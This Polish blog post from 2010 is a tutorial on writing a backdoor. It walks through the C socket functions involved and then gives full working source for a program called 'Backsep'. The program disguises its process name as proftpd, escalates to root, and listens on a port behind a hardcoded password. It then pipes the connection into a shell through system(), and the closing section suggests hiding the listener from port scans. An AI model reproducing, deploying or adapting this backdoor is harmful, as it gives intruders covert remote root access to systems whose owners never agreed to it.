poniedziałek, 19 lipca 2010

Pisanie backdoorów (tylnych drzwi)

1. Wstęp

Artykuł ten traktuje o tym jak pisać tylne drzwi. Oparłem się tutaj o język C i testowałem na systemie Linux, ale myślę że ci co "siedzą w temacie" nie będą mieli większych trudności w zaimplementowaniu tego w Windowsie. Aby dobrze zrozumieć ten artykuł trzeba mieć jako takie pojęcie jeżeli chodzi o programowanie sieciowe a dokładniej gniazd, lecz inteligentni i bez tej wiedzy dadzą radę. Będę się starał w miarę od podstaw opisać tworzenie tego programu. Aby poszerzyć wiedzę odsyłam do manuali i opisów tworzenia gniazd sieciowych.

2. Rozwinięcie

Na samym początku przygotujemy sobie funkcje które będą obsługiwały błędy mogące wystąpić podczas używania naszego backdoora. Ułatwi to nam pracę pod względem diagnostyki zdarzeń których byśmy chcieli uniknąć.

Pierwsza będzie obsługiwać błędy funkcji, które gdy kończą się wykonywać z błędem ustawiają zmienną errno. Jest to strerror() zawarta w nagłówku string.h. Ma ona postać char *strerror(int errnum); i jako argument przyjmuje zmienną która zawiera wartość określającą dany błąd a w tym przypadku errno.

Druga natomiast będzie zajmować się funkcjami które nie ustawiają errno.
 
Jako argumenty w nawiasach możemy wpisać nazwę funkcji w której występuje błąd. Będzie to bardzo pomocne w odszukiwaniu gdzie źle coś napisaliśmy. Funkcja fprintf wypisuje dane do danego deskryptora. stderr to wyjście dla danych o błędach. funkcja exit() z argumentem 1 kończy wykonywania się programu po błędzie.

Pierwszą funkcją jeżeli chodzi o główny szkielet programu będzie socket(), która tworzy gniazdo. Ma ona postać int socket(int domain, int type, int protocol); i zawiera się w nagłówkach sys/types.h i sys/socket.h. Argument domain określa jaką rodzinę protokołów chcemy użyć, type definiuje typ tworzonego gniazda a protocol protokół wybrany z podanej wcześniej rodziny protokołów. Nasza funkcja będzie miała postać socket(PF_INET, SOCK_STREAM, 0); czyli standardowe gniazdo.

Następnie wykonujemy podstawowe operacje przy tworzeniu gniazd, czyli wypełnianie reszty struktury sockaddr_in zerami, określenie rodziny protokołów, porządkowanie portu z porządku hosta na porządek sieciowy, przetworzenie adresu naszego hosta na 32-bitowy adres internetowy w porządku sieciowym.

Kolejną rzeczą jest powiązanie adresu z gniazdem za pomocą funkcji bind(). Ma ona postać int bind(int sockfd, struct sockaddr *my_addr, socklen_t addrlen); i zawarta jest w sys/types.h oraz sys/socket.h. Argument sockfd określa deskryptor pliku gniazda zwrócony przez socket(), drugi argument to wskaźnik do struktury sockaddr gdzie znajdują się informacje o naszym gnieździe, oraz addrlen, który określa długość adresu hosta w bajtach.

Dalej musimy sprawić aby nasz backdoor nasłuchiwał. Użyjemy do tego listen(). Wygląda ona tak: int listen(int s, int backlog); i zdefiniowana jest w sys/socket.h. Argument s zawiera oczywiście deskryptor gniazda a backlog ile połączeń do naszej furtki może czekać w kolejce. Jak dla nas może to być 10.

Teraz najważniejsza rzecz jeżeli chodzi o backdoora. Funkcja powielająca deskryptor. Pozwoli to nam na zamianę deskryptorów wejścia, wyjścia i błędów danego komputera na którym będą tylne drzwi, po to aby wypisywał je na naszym monitorze (coś jak powłoka).

Najpierw trzeba skopiować stare deskryptory w celu późniejszego powrotu do normalności. Posłuży nam do tego funkcja o niezbyt ładnej nazwie dup(). Jej definicja ma postać int dup(int oldfd); i znajduje się w pliku unistd.h. Jako argument przyjmuje numer danego deskryptora i zwraca nowy. Wejście, wyjście i błędy mają odpowiednio numery 0, 1, 2.

Trzeba teraz utworzyć pętlę serwera która będzie oczekiwać na połączenia do czego zastosujemy accept(). Wygląda ona tak int accept(int s, struct sockaddr *addr, socklen_t *addrlen); a definiowana jest w sys/types.h i sys/socket.h. s to oczywiście gniazdo, addr jest wskaźnikiem do struktury adresu gniazda, a addrlen to wskaźnik do maksymalnej długości bufora w strukturze odbierającej adres gniazda.

W tej pętli musi się zawrzeć kolejna która będzie oczekiwać na podanie przez nas hasła do backdoora. Można w tym miejscu też np. zrobić w ten sposób aby udawał jakiegoś innego demona. W tym celu musimy sprawdzić jak się komunikuje z nami określone oprogrogramowanie w momencie połączenia i zaimplementować to. W naszym programie po połączeniu nic się nie stanie. Należy tylko wpisać zdefiniowane hasło co pozwoli nam na wykonywanie komend.

Drugą najważniejszą funkcją jest dup2(). Zawarta w tym samym pliku co dup() ale o innej postaci - int dup2(int oldfd, int newfd);. Dzięki niej zamienimy deskryptor gniazda na deskryptor wejścia, wyjścia i błędów co sprawi że będziemy mogli wykonywać komendy i widzieć rezultaty. Potem możemy już pisać za pomocą write() i czytać za pomocą read() lub innych funkcji.

Komendy wykonujemy za pomocą system() a wygląda ona tak: int system(const char *string); i znajdziecie ją w stdlib.h. Jako argument przyjmuje rzecz jasna komendę do wykonania.

Po pętlach znów umieszczamy funkcję dup2() aby powrócić do normalności.

Oto jak nasze tylne drzwi wyglądają:
/* Backsep - program creates backdoor in a system.
Standard compilation: "gcc Backsep.c -o Backsep".
Usage:
root@melisa:/usr/home/seprob # ./Backsep &
[1] 777
root@melisa:/usr/home/seprob # nc localhost 5308
eleet
Hello! I'm Backsep. Seprob created me (http://seprob.blogspot.com/).
Command: id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
Command: logout
root@melisa:/usr/home/seprob #
*/


#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define HELLO "Hello! I'm Backsep. Seprob created me (http://seprob.blogspot.com/).\n"
#define PROMPT "Command: "
#define PASS "eleet"
#define MASK "/sbin/proftpd start"

void error_errno(const char *what); /* error_errno function gives content of error based on value attributed "errno" variable and finishes the program. */
void error_none(const char *what); /* error_none function informs about an error and finishes the program. */

main(int argc, char *argv[]) {
    int iterator; /* Variable using in for loop. */
    char *server_address = "127.0.0.1"; /* Address of server. */
    int port = 5308; /* Port on which server listens. */
    struct sockaddr_in server_structure; /* Structure to fill on server side. */
    struct sockaddr_in client_strucuture; /* Structure to fill on client side. */
    int socket_length; /* Length of socket. */
    int server_socket_descriptor; /* Socket's descriptor of server. */
    int client_socket_descriptor; /* Socket's descriptor of client. */
    char input_data[256]; /* Buffer for input data. */
    int bytes; /* Bytes. */
    int input_descriptor, output_descriptor, error_descriptor; /* Descriptor copies of input, output and errors. */

    strcpy(argv[0], MASK); /* Changing of backdoor name to name which doesn't awake of system administrator. */

    /* Increasing of rights to root user. */

    if (setuid(0) == -1)
        error_errno("setuid");

    if (setgid(0) == -1)
        error_errno("setgid");

    /* Creating of server socket. */

    if ((server_socket_descriptor = socket(PF_INET, SOCK_STREAM, 0)) == -1)
        error_errno("socket");

    /* Creating of server socket address. */

    memset(&server_structure, 0, sizeof(server_structure)); /* Filling the structure with zeros. */

    server_structure.sin_family = PF_INET;

    server_structure.sin_port = htons(port); /* Converting from host byte order to network byte order. */

    server_structure.sin_addr.s_addr = inet_addr(server_address); /* Processing of recorded address to 32 bit internet address. */

    if (server_structure.sin_addr.s_addr == INADDR_NONE)
        error_none("bad address");

    socket_length = sizeof(server_structure);

    /* Binding of server address with socket. */

    if (bind(server_socket_descriptor, (struct sockaddr *)&server_structure, socket_length) == -1)
        error_errno("bind");

    /* Socket listening. */

    if (listen(server_socket_descriptor, 10) == -1)
        error_errno("listen");

    /* Duplicating of input descriptor. */

    if ((input_descriptor = dup(0)) == -1)
        error_errno("dup");

    /* Duplicating of output descriptor. */

    if ((output_descriptor = dup(1)) == -1)
        error_errno("dup");

    /* Duplicating of error descriptor. */

    if ((error_descriptor = dup(2)) == -1)
        error_errno("dup");

    /* Loop of server. */

    while (1) {
        /* Looking for connection. */

        socket_length = sizeof(client_strucuture);

        if ((client_socket_descriptor = accept(server_socket_descriptor, (struct sockaddr *)&client_strucuture, &socket_length)) == -1)
            error_errno("accept");

        /* Looking for password. */

        while (1) {
            memset(input_data, '\0', sizeof(input_data));

            bytes = sizeof(input_data);

            if (read(client_socket_descriptor, input_data, bytes) == -1)
                error_errno("read");

            for (iterator = 0; iterator <= strlen(input_data); iterator++) {
                if ((input_data[iterator] == '\r') || (input_data[iterator] == '\n'))
                    input_data[iterator] = '\0';
            }

            if (strcmp(input_data, PASS) == 0)
                break;
            else
                continue;
}

        /* Changing of input stream to client descriptor. */

        if (dup2(client_socket_descriptor, 0) == -1)
            error_errno("dup2");

        /* Changing of output stream to client descriptor. */

        if (dup2(client_socket_descriptor, 1) == -1)
            error_errno("dup2");

        /* Changing of errors stream to client descriptor. */

        if (dup2(client_socket_descriptor, 2) == -1)
            error_errno("dup2");

        bytes = sizeof(HELLO);

        if (write(client_socket_descriptor, HELLO, bytes) == -1)
            error_errno("write");

        /* Looking for commands. */

        while (1) {
            memset(&input_data, '\0', sizeof(input_data));

            bytes = sizeof(PROMPT);

            if (write(client_socket_descriptor, PROMPT, bytes) == -1)
                error_errno("write");

            bytes = sizeof(input_data);

            if (read(client_socket_descriptor, input_data, bytes) == -1)
                error_errno("read");

            for (iterator = 0; iterator <= strlen(input_data); iterator++) {
                if ((input_data[iterator] == '\r') || (input_data[iterator] == '\n'))
                    input_data[iterator] = '\0';
            }

            if ((strcmp(input_data, "exit") == 0) || (strcmp(input_data, "logout") == 0)) {
                if (close(client_socket_descriptor) == -1)
                    error_errno("close");

                break;
            }

            /* Executing of commands. */

            system(input_data);
        }

        if (dup2(input_descriptor, 0) == -1)
            error_errno("dup2");

        if (dup2(output_descriptor, 1) == -1)
            error_errno("dup2");

        if (dup2(error_descriptor, 2) == -1)
            error_errno("dup2");
}

    if (close(server_socket_descriptor) == -1)
        error_errno("close");

    return 0;
}

void error_none(const char *what) {
fprintf(stderr, "Eror: %s.\n", what);
    
exit(1);
}

void error_errno(const char *what) {
fprintf(stderr, "%s: %s function.\n", what, strerror(errno));
    
exit(1);
}



3. Zakończenie

Jest to dosyć prosty backdoor, którego można ulepszyć m.in. o możliwość nasłuchiwania na cichym porcie. Nie będzie wtedy widoczny po przeskanowaniu. Lecz jest to temat na osobny artykuł. Odsyłam także do książki "Linux. Gniazda w programowaniu" autorstwa Warrena W. Gaya.